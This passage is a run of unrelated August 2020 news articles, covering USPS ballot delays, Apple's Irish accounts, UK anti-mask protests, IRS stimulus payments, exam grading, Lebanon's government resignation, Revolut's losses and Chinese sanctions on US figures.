anymore." He emphasized that tanks and warships do not represent a country's power. The United States is no more regarded as the "epicenter of technology" as it used to in the past, he noted, adding that a fundamental change has been made and countries do not merely use the American technology, but are advancing their own. Zarif pointed to "legitimacy" as another factor of power, saying, "Legitimacy means popularity of a country in the world and among its own people. He highlighted the significance of providing inspiration for other countries, saying, "If a country is a source of inspiration for others, it will gain major power." NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Pre-tax profits at an Irish-based Apple business last year decreased by 11pc to $41.68bn (35.47bn). Apple Operations International (AOI) saw revenues decline by 9.5pc from $155.83bn to $140.99bn in the 12 months to the end of September. AOI is registered at the company's Holyhill campus in Cork and covers most of Apple's non-US subsidiaries. The company acts as a holding company for a number of Apple subsidiaries. It manufactures and develops everything from the company's iPhone and iPad products to Mac computers. The company last year paid dividends of $196.7bn to its parent Apple and has paid a further dividend of $51.8bn since the end of September last resulting in a total dividend payout of $248.5bn. AOI incurred a tax charge of $6.19bn last year across a number of countries where Apple operates and that the figure excludes US-based taxes. The accounts don't disclose corporate tax paid in Ireland. The accounts refer to the Apple and Irish Government appeals against European Commission decision four years ago that the iPhone maker owed Revenue 13.1bn in back taxes. Last month, Europe's second highest court last month ruled that the Government didn't give Apple any State aid. The accounts were signed off on March 27th but only lodged with the Companies Registration Office in recent days and don't make reference to last month's ruling. AOI last year recorded post-tax profits of $35.49bn. Numbers employed at AOI and subsidiaries last year totalled 47,337 - an increase on the 43,325 employed in 2018. Some 6,000 of those employees are based in Ireland. Staff costs for the 47,337 last year totalled $4.19bn and that included share-based compensation of $848m. AOI's Research and Development costs last year totalled 7.6bn while AOL's selling, general and administrative expenses last year totalled $8.5bn. This is the only the second time in several years that AOI has filed accounts with the Irish Companies Registration Office. Under previous rules, AOI wasn't required to file accounts and the business's accounts were beyond public scrutiny, but an EU directive that came into force for the company's fiscal year 2018 has resulted in AOI filing accounts. WASHINGTON Colonial Williamsburg is a quaint bubble frozen in Americas Revolutionary War past, back when news, like the results of an election, say, spread as fast as a horse could carry it. Three miles away and three centuries later, it now sometimes takes even longer. Courtesy/Hearst Television Holding an absentee ballot envelope in her hand, James City County, Va., Director of Elections Dianna S. Moorman recently pointed out, This ballot was for the presidential election in 2016. And we did not get the ballot back until November 30th of 2017 two elections late. That ballot did not count, the voter disenfranchised by a woefully tardy delivery by the United States Postal Service. Another ballot Moorman showed a reporter had been torn nearly in half and would not have counted had the election office not tracked down the voter to cast a new ballot. Dozens more mailed by voters were rejected, stamped by the postal service as return to sender undeliverable. The pre-printed address? The county election office. We had over 40 ballots that were returned back to the voters marked that way, Moorman said, still taken aback by the colossal USPS error of inexplicably not recognizing the county office its carriers deliver to every day. Now Playing: Investigation finds election mail delayed, damaged, discarded Video: Hearst Television National Investigative Unit Postal problems affecting votes Those are some of the many examples the Hearst Television National Investigative Unit has uncovered of problems across the country with how the postal service handles ballots in the mail, leading to urgent calls to fix the issues before Novembers general election. They are not instances of fraud, but rather failures to get ballots where they need to go. Voter Jillian Santella, a publicist and founder of One in a Million Media in New York City, said she was baffled when she learned her absentee ballot did not count. It was postmarked by the post office, she says, three days after she mailed it and after the June 23 primary election. Shes now part of a lawsuit in a closely-watched congressional race to get it to count, a complaint on behalf of thousands with similar late or missing postmarks. After questioning by the National Investigative Unit, a spokesman for the postal service acknowledged it has not always followed its own policy to stamp mail with a legible postmark. "I think it's just overall chaos, Santella said in an interview, and I think there's a lot of problems happening with the Postal Service right now." USPS: Financially unsustainable position Through the same spokesman, new Postmaster General Louis DeJoy, a Republican Party donor with no prior experience at the semi-independent federal agency, declined a request for an interview for this story. In a statement to the National Investigative Unit July 15, the postal service said its "financial condition is not going to impact our ability to deliver election and political mail this year." Courtesy/Hearst Television But just two weeks later, LeJoy said in a release that the USPS "is in a financially unsustainable position" and will begin "vigorously focusing on the efficiency of our operations." A spokesman later said the two statements are not in conflict because LeJoy was referring to huge deficits reported year after year and the burden of prefunding payments to retiree health benefits, as required by Congress not delaying election mail. But Congress soon complained about reports of no more overtime for letter carriers to ensure ballots or any other mail all get delivered each day, along with sudden closings of post offices scheduled for as soon as later this month, both of which could have dire impacts on the election, critics warn. In a sharp response, Democratic Sen. Joe Manchin of West Virginia said it would "likely be a violation" of federal law and USPS rules to move forward with some of the changes without providing at least 120 days notice, writing to LeJoy, you are now proposing the very cuts that we sought to avoid with congressionally-appropriated aid from earlier in the year. Very scary thought Sudden cuts to postal operations so soon before a general election in the midst of a pandemic with surging, record-setting volumes of ballots sent by mail is a very scary thought, according to Barbara Goeckner, who helps oversee elections in the village of Cambridge, Wis., and serves on a USPS committee for the U.S. Election Assistance Commission. "This just will exacerbate those problems, Goeckner explained in an interview from her office on the day when she was preparing dozens of voter-requested absentee ballots for mailing, having sent out hundreds of them already. I just hope and pray that the postal system doesn't have that type of a breakdown in process where it delays any deliveries or that there are any closings prior to Election Day, she said. Goeckner and other local election officials interviewed for this story said they have already seen breakdowns in the use of two key election tools: Courtesy/Hearst Television Some postal workers are apparently removing lime green election mail placards, known as tag 191, from election mail and dont know that theyre used to elevate the importance of the ballots. Postal workers occasionally short-circuit the use of intelligent mail bar codes that track ballots by delivering election mail directly to P.O. boxes or to carriers for delivery, instead of sending the mail to processing centers where the IMB codes are scanned. Courtesy/Village of Cambridge, Wis. Election clerks uniformly blame a lack of internal post office training, which they hope will be remedied by Nov. 3. When asked about both issues, the USPS said in a follow-up statement it intends to provide additional training, increasing those communications as we get closer to the General Elections. "Those [tools] should be used at all times, Goeckner emphasized. Calls for immediate changes The former number two at the United States Postal Service, Ron Stroman, agrees changes are needed before Novembers elections. Stroman was the deputy postmaster general for nine years until he left in June, just before new Postmaster General DeJoy arrived, and is now a senior fellow at Democracy Fund. Courtesy/USPS Stroman suggests states take these immediate steps: Change unrealistic deadlines for voters to request absentee ballots and to mail them to much earlier, preferably so voters request an absentee ballot by Oct. 13 and return their ballots in the mail by Oct. 24, a full week before election day. Currently, 38 states and the District of Columbia allow ballot applications by mail seven or fewer days before the election far too late, Stroman warns. Stop using slower, cheaper "marketing mail" for ballots and place them in first-class mail, instead, which has a two to five day delivery standard; in the 2018 midterm elections, 113,770 absentee ballots were rejected by tabulating officials for missing return deadlines, according to the U.S. Election Assistance Commission; & Make all ballot envelopes compatible with USPS technology, to take advantage of greater automation. In addition, Stroman wants the postal service to immediately: Set an "aggressive," 100% on-time target for ballot delivery; right now, it's effectively around 96% for all first-class mail; Give postal workers additional training on how to handle election mail, including on the importance on the consistent handling of tag 191 and IMB codes on ballot envelopes; & Potentially rescind the new ban on most overtime for mail deliveries, part of the new postmaster general's broad efficiency orders. "These kinds of sweeping changes, Stroman said of DeJoys edicts, have significantly slowed mail. He says waiting until after the election to make such substantive changes would be my advice. Since 2012, the Government Accountability Office found, the postal service has closed or partially consolidated 179 of its processing centers, or 36% of the total, which has impacted delivery times, numerous reviews have found. Financial results reported Friday show the USPS had a net loss of $2.2 billion in the fiscal third quarter, down 4% from the same period last year. Mark Albert is the chief national investigative correspondent for the Hearst Television National Investigative Unit, based in Washington D.C. April Chunko and Samone Blair contributed to this report. Know of election security problems or voter suppression? Have a confidential tip? Send information and documents to the National Investigative Unit at investigate@hearst.com. Anti-mask protests railing against the coronavirus-preventing coverings are increasing throughout the UK fuelled by campaigners spreading their message to thousands online. StandUp X the group who stormed a London Morrison's yesterday to berate masked shoppers is the fastest growing and is linked to former Labour leader Jeremy Corbyn's brother Piers. The protest movement has at least 16,000 people reading its posts and messages and has a Facebook page where anti-mask comments and conspiracy theories on 5G are aired. It has already publicised further protests this weekend in Liverpool, London and Hull and have revelled in delight at publicity over their previous campaigns. The group's most prominent figures appear to be Igs Salz who previously announced he would be running for Mayor, a lady called Cassie Sunsine and of course Piers Corbyn. Piers Corbyn is a leading member of the UK's fastest growing anti-mask protest group StandUp X The group's other most prominent figures appear to be Igs Salz who previously announced he would be running for Mayor, and a lady called Cassie Sunsine Corbyn is proudly tagged into a number of their posts and even features in one of their publicity videos. StandUp X's activities also show little sign of running out of funding with a drive for cash already amassing some 2,200 from donors in just a few days. Worryingly for the government trying to promote the wearing of masks, the protest group's public Facebook page shows it is converting other people to its views and cause. One mother called Gemma Munro told them: 'I really want to thank this group for giving me the strength and courage to stop wearing that stupid mask! 'I really struggled with the fear of someone asking me where my mask was - well now I don't! 'I got my nails done without wearing one, I've been into the shops and I've sent my boy to his drum lesson not wearing one. Thank you! Together we stand!!!' Another account called Julija Brett posted just one day ago: Hi guys! Been in the supermarket today for the first time not wearing a mask. Most people were apart from a few. 'No one said anything to me though people were staring sometimes. I was just walking in the shop with confidence and if anyone questioned I'd say I don't feel comfortable wearing it and it causes panic attacks and anxiety which is true actually.' The group has posted videos featuring Mr Salz, Mr Corbyn and Ms 'Sunshine' on its page. Members of group StandUp X walked into the supermarket in Peckham, south London yesterday, to lecture people on wearing masks The unmasked protesters insisted the safety measures were not necessary to stop Covid-19 and people should ask questions Bizarrely for an anti-mask protest, one campaigner was seen wearing one on his face, similar to the type in the Scream films People gathered to listen to speakers at a July protest organised by 'Keep Britain Free' which is against the wearing of masks She posted on Facebook a thank-you to the StandUp X group, after delivering a speech that started with knickers being worn as a mask on her face in Brighton. She said to the assembled group: 'People in power are a bunch of jokers. They have decided just now that we need to wear a face covering, not a face mask. This isn't about safety folks'. A StandUp X video showing one protest in July tagged in Piers Corbyn and showed him at a rally decrying safety measures designed to save lives during the pandemic. He is seen telling another protester to point the megaphone towards the crowd as he declares: 'In Autumn they have said clearly they are going to have a second lockdown. 'A second lockdown and it will be based on lies. They will make up stories about people being ill from a so-called virus. 'We have to be ready that the next lockdown will be based on bigger lies than this one. 'They say save the NHS, save lives. In fact the NHS is losing lives, their propaganda is lies.' While Congress and the White House are hashing out funding that could lead to a second round of stimulus payments, some Americans recently received $500 from the federal government. The payments arent part of a second stimulus, but rather catching up on money due to them from the first. In an Aug. 5 update, the IRS said it was automatically issuing the additional $500 payment per qualifying child to some stimulus recipients who used the non-filers tool before May 17, 2020. The non-filers tool allowed people who arent required to file a tax return to input information needed for stimulus checks. People who used the tool after May 17 probably already received their dependent payment, which went to families with children age 17 and younger. The payments will come in the same form as how you received your original stimulus direct deposit or paper check. Heres how the IRS explained the process: The IRS will automatically issue the additional $500 EIP per qualifying child to affected individuals in early August for those who used the Non-Filers tool before May 17, 2020. Direct deposit payments are scheduled for August 5, 2020, and paper checks or debit cards are scheduled to be mailed August 7, 2020. You can use Get My Payment to check the status of the $500 EIP per qualifying child, and you will receive another notice in the mail letting you know the $500 EIP per qualifying child was issued. If you received your EIP by direct deposit, the additional $500 EIP per qualifying child will be direct deposited to the same bank account. If you received your EIP in the mail, the additional $500 EIP per qualifying child will be mailed to your address of record. If you used the Non-Filers tool on or after May 17, 2020, your EIP included $500 per qualifying child. The Cares Act, passed in the early day so the coronavirus pandemic, provided $500 for each dependent under age 17 for those qualifying to receive a stimulus payment. Along with the dependent payments, the last stimulus provided $1,200 for individuals earning up to $75,000 and $2,400 for married couples filing jointly who earned up to $150,000, with amounts reduced based on incomes of $99,000 or more for single filers and $198,000 or more for joint filers. The City of Lebanon is terminating its contract with Jacobs Engineering Group for the operation of the citys wastewater treatment plant. The decision was made by a unanimous vote of the City Council following an executive session to discuss the matter on Wednesday, Aug. 5. Councilors Jason Bolen, Robert Furlow, Wayne Rieskamp and Michelle Steinhebel voted to end the agreement. Councilors Rebecca Grizzle and Karin Stauder took part in the session, which was held online, but signed off before the vote was taken. Interim City Manager Ron Whitlatch said the city will begin discussions with Jacobs Engineering to set a date for the transfer of responsibility. Were still looking at the date. My first inkling is that it will probably be shorter-term than longer-term, Whitlatch said. Were still trying to figure out how everything is going to look moving forward. There are seven employees of Jacobs Engineering Group who operate the plant. One option for the city is to hire some or all of these individuals to continue to operate the plant, making them city employees. The city could also seek to hire other individuals to operate the plant or it could hire an outside vendor to run the plant. By terminating the contract, the city is not expressing any dissatisfaction with the performance of the individuals currently working at the plant. Instead, this is the latest step in a long dispute between the City of Lebanon and Jacobs Engineering Group. In 2019, the City of Lebanon filed suit against Jacobs Engineering Group, contending that the $4 million mechanical process the city was sold for processing waste was ineffective. The City of Albany has filed a similar suit against the company in Linn County Circuit Court. The City of Lebanon originally hired Operations Management Inc. to run the wastewater treatment plant and water plant. This company was later acquired by CH2M Hill and it was during this time frame that the city purchased the treatment process which is now under dispute. CH2M Hill, which was founded in Corvallis, was acquired by the Jacobs Engineering Group, which is based in Dallas, Texas, in 2017. The City of Lebanon sent a letter to Jacobs Engineering Group on May 18 in which it summarized its complaints about the wastewater treatment plant operations. The City believes the ongoing failure of the Cannibal Process it was sold is leading to increased operational costs at the facility. There is also concern that the plant is not meeting all of its regulatory requirements. The city cited 46 known violations of its permit between 2009 and 2018. It should have been clear to Jacobs since the commissioning of the Cannibal Process that the technology was not working as represented, the letter states. The plant is located at 33110 Tennessee Road SE, just west of the South Santiam River. Love 4 Funny 5 Wow 4 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Actor Sooraj Pancholi has filed a complaint with the Mumbai Police, alleging harassment due to unsubstantiated reports connecting him to Disha Salian and Sushant Singh Rajputs deaths. He filed the complaint at the Versova police station. A source close to the actor told Bombay Times, Sooraj has been harassed since Sushant and Dishas deaths, owing to fake news that was carried by sections of media, social media, and YouTube. He has filed a complaint against certain media houses, Youtubers, and certain people who have been spreading fake news and conspiracy theories on Facebook. He wants the rumor mongers to be accountable for the mental harassment caused to him, and also, they must prove the baseless charges leveled against him. On Wednesday, Sooraj had shared a screen shot of one such report to point out that the picture used was a fake. Complete bullsh*t!! #F*ckYouFakeMEDIA Is this the media we are supposed to trust?? That girl in the picture which was clicked in 2016 is not Disha Salian that is my friend @agaur21 (Anushri Gaur) who doesnt even live in India .. Please stop brainwashing people and PLEASE stop harassing me and dragging me into this ! Start being responsible of your actions as it can ruin someones life ! I have said this before and Im saying it again I have never met or spoken to Disha Salian in my life Seriously F*CK YOU AND F*CK YOUR FAKE NEWS! Ive had enough. Sooraj also told India Today in an interview last week, I am trying to stay positive right now. You know, as strong and as positive as I can be, I dont discuss this with my family because I know they are already in a lot of stress because of me, thinking about me all the time. In fact, my mother thinks that Im going to harm myself. And she has spoken to me a couple of times. Even after Sushants death, she spoke to me saying, Sooraj, whatever it is, if theres anything in your heart please come and talk to us. Dont be quiet. Im not a very talkative person when it comes to my problems. I dont discuss with my family because I know theyre stressed because of me. SHARE THIS ARTICLE ON It is an irony not always acknowledged that debates about school funding are usually wholly unedifying. The issue is polarised. There are those who believe we should cease funding private schools entirely and pour all our money and energy into public education. Meanwhile, others deny the obvious inequalities at the heart of our school funding system and claim it is all about choice. We can fund choice in education without exacerbating inequality. Credit:Quentin Jones Both sides are likely to dismiss the idea put forward by Professor Adrian Piccoli, the former NSW education minister, on Tuesday. He argued that governments should fully fund private primary schools (and ultimately high schools) on the condition they accept all students and don't charge fees. Schools would be free to decline but they would lose all state funding as a result. The number of foreign students applications received by Panjab University through the Indian Council for Cultural Relations (ICCR) has gone up by 150% as compared to last year. According to the data shared by the office of the dean international students, this year, PU has received applications from 642 foreign students for admission to various courses through ICCR, as compared to 250 applications last year. Out of the 642 applications, 229 have been confirmed for admission by the varsity. In 2019, out of 250 foreign students, only 111 were confirmed. The students belong to 11 countries that include Afghanistan, Iran, Ethiopia, Iraq, Nepal, and Myanmar. Nandita Singh, PUs dean international students, said, We were not expecting the number to go up this year due to the pandemic. PU already has a good number of foreign students and they play a key role in motivating other students to take admission here. Most of the foreign students have sought admission in management courses followed by humanities and sciences in PU and its affiliated colleges in Chandigarh, she said. Nalini Singhal, regional director, ICCR, said, Our admissions process starts in December and these applications were received by us till March this year. PU alone gets the majority of the foreign students in this region and remains one of the preferred universities by foreign students. PU professor Rajat Sandhir said, Increase in the number of international students sponsored by ICCR to twice as compared to last year is a positive sign and would certainly improve PUs score in various rankings. Under the ICCR scholarship programme, the Government of India awards scholarships to foreign students from about 140 countries annually. During the 2018-19 academic session, approximately 2,150 new foreign students were confirmed for admission to various universities in India. The TSA is seeing significantly less travelers at airports during the COVID-19 pandemic, but found three times as many guns last month at security checkpoints in what officials call an alarming trend. On Monday, the Transportation Security Administration announced passenger traffic dropped by 75% in July, but agents found 15.3 guns per million people that month compared to 5.1 guns per million people screened one year ago. This comes after the TSA found a record number of firearms -- 4,432 guns-- at security checkpoints in 2019. Travelers must understand that firearms are prohibited items at airports and in the passenger cabins of aircraft. As hard as we are working to mitigate other risks at this time, no one should be introducing new ones, TSA Administrator David Pekoske said in a news release. .@TSA officers at @PITairport detected this loaded revolver at the security checkpoint on Friday. It was the second gun caught within a three-day span at the airport. Just a reminder, bring a gun to a checkpoint and you will face a stiff federal financial penalty. pic.twitter.com/2WIFQQuzuV Lisa Farbstein, (formerly known as TSAmedia_LisaF) (@TSA_Northeast) August 10, 2020 Pennsylvania saw 71 handguns at checkpoints in 2019, compared to the 75 caught in 2018. Only one of those incidents from 2019 was at Lehigh Valley International Airport in Hanover Township, Lehigh County. Firearms can be in checked luggage, but must be unloaded and packed in a locked hard-side case. Ammo must be in the original box, and can be in a case next to the firearm, officials have said. Air traffic has been decimated during the pandemic, even after stay-at-home orders ended in states. On Sunday, the TSA announced the daily traveler tally went past the 800,000 benchmark for the first time since March 17. That same day in 2019, agents saw 2,647,897 travelers. LVIA has seen a slight uptick in passenger activity about 2% in the last couple of weeks, with the majority of increased travel happening during weekends, Lehigh-Northampton Airport Authority spokesman Colin Riccobon said. The airport still has significantly less passenger traffic volume compared to last year at this time, currently hovering around a 72% decrease, he added. Please subscribe now and support the local journalism YOU rely on and trust. Sarah Cassi may be reached at scassi@lehighvalleylive.com. Mekedatu padayatra: After Karnataka HC chides Cong, Siddaramaiah says permission not taken for protest Congress leader booked for flouting COVID-19 rules India oi-Vicky Nanjappa New Delhi, Aug 11: The Delhi Police registered a case against Congress leader Mohammad Usman and others for reportedly violating the social distancing norm in central Delhi's Hauz Qazi area, officials said on Monday. According to the police, Usman, president of Chandni Chowk district committee of Congress, organised a flag hoisting programme to mark the 78th anniversary of Quit India Movement. Former Congress MP J P Aggarwal and Delhi Congress president Anil Kumar Chawdhary were the chief guests in the programme. The event was also attended by several other Congress leaders, they said. WHO says COVID-19 seems to lack seasonal pattern Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News The police also said that the party did not have requisite permission to hold the event. They applied for the permission of the programme, but it was denied. Despite not having permission, they organised the event and violated the social distancing norm in view of the ongoing COVID-19 situation," according to the FIR registered in the case. Thereafter, a case under IPC sections 188 (disobedience to order duly promulgated by public servant), 269 (negligent act likely to spread infection of disease dangerous to life) and 34 (acts done by several persons in furtherance of common intention) was registered at the Hauz Qazi Police station, it said. GIS (Geographical Information System) technology has been widely used in India in the last 3 months in our efforts towards management, response and recovery of COVID-19 A health crisis is a human crisis. When it comes to global pandemics, it is a matter of millions of lives. In about three months, the coronavirus disease 2019 (COVID-19) pandemic has brought the world to its knees. As the COVID-19 virus spreads across the world and in India, the government has realized that its healthcare segment requires a lot more attention than it has received ever. This has established a visible need for technology transformation of the public healthcare segment with a mission to drive better understanding, enable efficiency, multi-agency collaboration and rapid decision making. Health reforms and initiatives have been covered in the last tranche of the stimulus package announced by the Finance Minister. The government plans to increase investment in health and wellness centers across both rural and urban areas. The plan is to set-up Public Health Labs in all districts at the block level. An investment of Rs 15,000 crores has already been committed by the government. GIS (Geographical Information System) technology has been widely used in India in the last 3 months in our efforts towards management, response and recovery of COVID-19. This technology has empowered healthcare professionals and decision-makers in the government to understand and make decisions in the context of: Zonation of areas based on patterns of spread of COVID-19 i.e. hotspots, fatalities, etc Where, how and when to scale the healthcare facilities, quarantine centres and testing centers Availability of essential items and assets like PPEs, ventilators, etc. Impacted populations such as senior citizens, migrants and students Response and re-open strategies basis various modeled and predicted scenarios of COVID-19 spread Almost all states and major cities have established GIS-based dashboards that are helping them see the most recent information by integrating health data that comes from various health facilities and district bodies. Maps have proven to be a very effective way of communication amongst different players involved in the management of COVID-19. National Disaster Management Authority (NDMA), municipal bodies in Mumbai, Pune, Bengaluru and Gurugram; and states like Punjab, Rajasthan, Tamil Nadu, Jharkhand, Orissa, West Bengal have extensively used GIS and location intelligence in managing COVID-19. This is the first time GIS has been used on a large scale by the healthcare sector in our country. Building the GIS foundation for public health COVID-19 has taught us unless we have a spatial understanding of data, our ability to respond during crucial situations will remain constrained. GIS enables the capability to bring together all types of data, a spatial or non-spatial from variety of sources, to further analyse in spatial context and lay better insights for actionable intelligence. The consolidated insights from these variety of data types ensures reuse, improved efficiency, better understanding, collaboration, and communication. Various state and center departments are already experiencing GIS benefits through applications across various major e-Governance and digital transformation programs such as Digital India, Swachh Bharat Mission, Smart Cities, R-APDRP and Sarv Shiksha Abhiyaan. GIS can also support the effective implementation of massive healthcare programs such as Ayushman Bharat and Pradhan Mantri Jan Arogya Abhiyan that are being rolled out by the government. For a populous and geographically diverse country like ours, it is imperative to build a similar federated GIS system within its healthcare initiatives. The objectives and priorities at the national, state, and district levels are different but complementary. A holistic view of data pertaining to healthcare infrastructure, assets and resources at the district level will be useful for sensing the ground level situation. The same data when rolled-up to the state level can be used for understanding the gaps in assets and resources available vis-a-vis required to meet the healthcare demands of the state. The data for all the states when available for visualization, understanding and analysis at the national level will become a critical resource for effective planning, response, decisions and actions for healthcare schemes and programs. GIS based mapping and analysis have been key technologies, from the very beginning, for International agencies and health bodies such as the WHO, UNICEF, and CDC to understand the outbreak and control the spread of diseases like SARS, Ebola and Zika. In India, institutes like the National Institute of Malaria Research (NIMR) and ICMR have been using GIS for tracking vector borne disease outbreaks such as Malaria and Dengue. GIS has been instrumental in our ability to collaborate, respond, recover, and save human lives in various other natural as well as man-made disasters such as floods, tsunamis, earthquakes, and gas leaks. Creating a reliable public health care infrastructure equipped with technological advancements such as having spatial analysis through GIS can improve both our today and tomorrow. Agendra Kumar, President, Esri India, New Delhi G CSE and A-level students will be able to keep mock exam results if they are higher than grades calculated by moderators, the Education Secretary will announce. Results in mock tests which were held before schools were forced to close amid the Covid-19 crisis will carry the same weight as the calculated results to be awarded this month. The move comes after unions called on the UK Government to follow Scotlands lead in scrapping moderated grades after the downgrading of more than 124,000 results was reversed. In a U-turn announced on Tuesday, Scotlands Education Secretary John Swinney revealed that more than 124,000 downgraded results would revert to the grades estimated by pupils teachers. It comes after this years summer exams were cancelled amid Covid-19. Teachers were told to submit the grades they thought each student would have received if they had sat the papers. Exam boards have moderated these grades to ensure this years results for students in England, Northern Ireland and Wales are not significantly higher than previous years. Gavin Williamson / AFP via Getty Images The exam regulator Ofqual had already said there would be a more lenient approach to grades this year. But now Education Secretary Gavin Williamson is due to tell students awaiting their A-level results this week that they can keep their grades in mock exams if they are higher than the calculated grade. Students will still be able to sit exams in the autumn if they are unhappy with the grades they secured in mock exams, or if they are dissatisfied with results awarded by exam boards on Thursday. All three grades will hold the same value with universities, colleges and employers, the Department for Education (DfE) is expected to say. Universities in England have also been told to keep places open for students if they appeal against A-level results. Under to the new system, grades predicted by teachers are subject to statistical moderation which takes into account the school's historic outcome, current students' prior attainment and expected national distribution of grades. Mr Williamson is also due to announce an additional 30 million in funding to help schools and colleges carry out the autumn exam series for students wishing to sit GCSE and A-level exams. Students in Scotland protesting against downgraded grades / PA But the appeals process where individual students in England are dependent on schools and colleges to appeal against results on their behalf is expected to remain the same. Mr Williamson said: Every young person waiting for their results wants to know they have been treated fairly. By ensuring students have the safety net of their mock results, as well as the chance of sitting autumn exams, we are creating a triple lock process to ensure they can have the confidence to take the next step forward in work or education. Evidence will need to be presented to satisfy the exam board that the mock exam was genuine. The announcement comes as Labour warned that Boris Johnson risked robbing a generation of young people of their future unless unfairness in the exams system was addressed. Concerns were raised by Labour that A-level and GCSE results could be downgraded for thousands of pupils in England because of the replacement grading system introduced. Labour leader Sir Keir Starmer said: The SNP have been forced into a humiliating U-turn after a shambolic few days. With 24 hours before results are released, I would urge the Prime Minister to change course, or he risks robbing a generation of their future. In a statement Ofqual said: Overall, grades will be slightly higher than in previous years, by around two percentage points at A-level grade A and above. We will publish equalities data for England, including analysis by socio-economic status, on results days. Loading.... Our early analysis shows that students from all backgrounds including more disadvantaged and black, ethnic minority and Asian communities have not been disadvantaged by this years awarding process. With reporting from PA Media Lebanons government resigns Prime Minister Hassan Diab and his cabinet resigned on Monday, opening up a political void as the country reels from the enormous explosion last week in the capital, Beirut. In a televised address, Mr. Diab said he and cabinet ministers had been blocked at every turn by political foes. He will take on a caretaker role as the parties in Parliament consult with President Michel Aoun on choosing a new prime minister. It may be months until a new cabinet is in place, leaving the government to coast in the interim. The fall of Mr. Diabs government reflects how deeply last weeks explosion which killed more than 150 people, wounded 6,000 and displaced hundreds of thousands has rattled Lebanon. Lebanon is also struggling with inflation, unemployment rates and an outbreak of coronavirus. Many saw the blast as a sign of decades of mismanagement. (Read more in our Back Story below.) On the ground: Protesters gathered near the Parliament building, saying the resignations so far had fallen short of their demands for the ouster of the countrys political elite. I have nothing to lose, said Krystel El Khoury, 24. I just graduated. Im an architect. Im unemployed and I dont have hope. Either we do this or we leave this country. Nikolay Storonsky, chief executive of Revolut, on stage at the MoneyConf fintech event in Lisbon, Portugal. British financial technology firm Revolut said its losses more than tripled in 2019, despite a surge in revenues and customer numbers. The London-based start-up, which offers banking and trading services through an app, posted a total loss of 106.5 million ($139.6 million) for the year ending December 31, up from 32.9 million in 2018. That was despite Revolut's revenues climbing 180% to 162.7 million from the 58.2 million it reported in 2018. The company also nearly tripled its total user base in 2019 to 10 million from 3.5 million a year earlier. "While we still have some way to go, we are pleased with our progress in 2019," Revolut founder and CEO Nik Storonsky said in a statement Tuesday. "We increased daily active customers by 231% and the number of paying customers grew by 139%." Revolut blamed the mounting losses on its investment in international expansion and new product offerings. Last year, the firm launched a commission-free stock trading feature to take on incumbent online brokers like Hargreaves Lansdown and AJ Bell. It's also been pushing its app into new regions like the U.S., Singapore and Australia. Reciprocal sanctions on US lawmakers, NGOs 'aim to reduce influence in HK, warn secessionists' Global Times By Cao Siqi and Zhang Han Source: Global Times Published: 2020/8/10 21:58:27 Move aims to reduce US influence in HK, warn secessionists: experts China on Monday announced sanctions against 11 US lawmakers and heads of nongovernmental organizations, including US senators Marco Rubio and Ted Cruz, and Executive Director of Human Rights Watch Kenneth Roth, as countermeasures against earlier US sanctions on 11 officials from the Chinese mainland and the Hong Kong Special Administrative Region (HKSAR). The US move has been slammed by China as an act of hooliganism. Officials on the US list have reiterated that they will not be intimidated by such "shameless and despicable" acts and the sanctions will have no impact on them. At Monday's routine press briefing, Foreign Ministry spokesperson Zhao Lijian announced the sanctions. "China resolutely opposes and strongly condemns such blatant interference in Hong Kong affairs - China's internal affairs - as it seriously violates international law and the basic principles of international relations," Zhao said. A spokesperson for the HKSAR government said Monday that it fully supports the countermeasures taken by the central government against the US and will fully cooperate with their implementation. Among 11 US lawmakers and NGO chiefs are US senators Rubio and Cruz, as well as Josh Hawley, Tom Cotton, Pat Toomey and Representative Chris Smith. Chiefs of so-called NGOs, namely Carl Gershman, president of the National Endowment for Democracy, Derek Mitchell, president of the National Democratic Institute, Daniel Twining, president of the International Republican Institute, Roth, executive director of Human Rights Watch, and Michael Abramowitz, president of Freedom House, are also on the list. All the US lawmakers were found to be behind multiple US bills interfering in Hong Kong affairs and they have played a role in the city's political turmoil that lasted more than one year. Among them, Rubio, Cruz and Smith were put on China's sanctions list in July following the US sanctions on Chinese officials over the Xinjiang-related issues. Rubio, Hawley and Smith were authors of the so-called Hong Kong Human Rights and Democracy Act. Rubio met with secessionist Joshua Wong when the latter visited the US in 2019. Cruz visited Hong Kong during a regional tour in 2019 and met with some Hong Kong rioters. He also cast aside the facts and claimed then that he had never heard, or seen evidence, of rioting, vandalism and mob attacks. Others have praised Hong Kong rioters and been deeply involved in the Hong Kong Autonomy Act. The US NGOs were put on the sanctions list by China in December 2019 for their "horrible activities in the months-long turmoil in Hong Kong," after the US passed and signed the so-called Hong Kong Human Rights and Democracy Act. "A great amount of evidence exists that these NGOs have supported anti-China forces to create chaos in Hong Kong, and made utmost efforts to encourage these forces to engage in extreme violent criminal acts, and also hyped separatist activities in Hong Kong," Chinese Foreign Ministry spokesperson Hua Chunying said at a routine press conference on December 2, 2019. "They have a huge responsibility for the current chaos in Hong Kong, and deserve to be sanctioned and pay the price," Hua noted. Li Haidong, a professor with the Institute of International Relations under the China Foreign Affairs University, told the Global Times on Monday that the countermeasure sends out a clear signal that China will not concede a single step on issues of core interests - sovereignty and territorial integrity - and the US must abandon the illusion that it can act arbitrarily without cost. It is not clear what specific methods will be taken against the sanctioned US officials, but Li said that these steps will be proportionate to US sanctions against Chinese officials. Possible policies include denying their entry to Hong Kong and freezing their accounts registered in Hong Kong. The sanctions came on the same day that Jimmy Lai Chee-ying, founder of local newspaper Apple Daily, was arrested by Hong Kong police, which observers said struck a heavy blow to Hong Kong secessionists who were trying to collude with foreign forces. "It is a combination punch to those forces that have attempted to interfere in China's internal affairs," said Kennedy Wong Ying-ho, solicitor of the Supreme Court of Hong Kong on Monday. The sanctions target specific personnel of these organizations, meaning that they could be restricted from entering Chinese territory and these organizations' cash flow in Hong Kong could be frozen, Wong told the Global Times on Monday. In January, Kenneth Roth was barred from entering Hong Kong. He was scheduled to launch the NGO's World Report 2020 on human rights abuses in the city. Imposing restrictions on these organizations' operations will reduce their influence in Hong Kong and stop them from supporting opposition camps, analysts noted. "No foreign nationals have been arrested under the new national security law so far, but these sanctions issue a strong warning to them," Wong said. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Kathmandu, Aug 11(UNI) The eighth meeting of Nepal-India Oversight Mechanism would be held on August 17 in 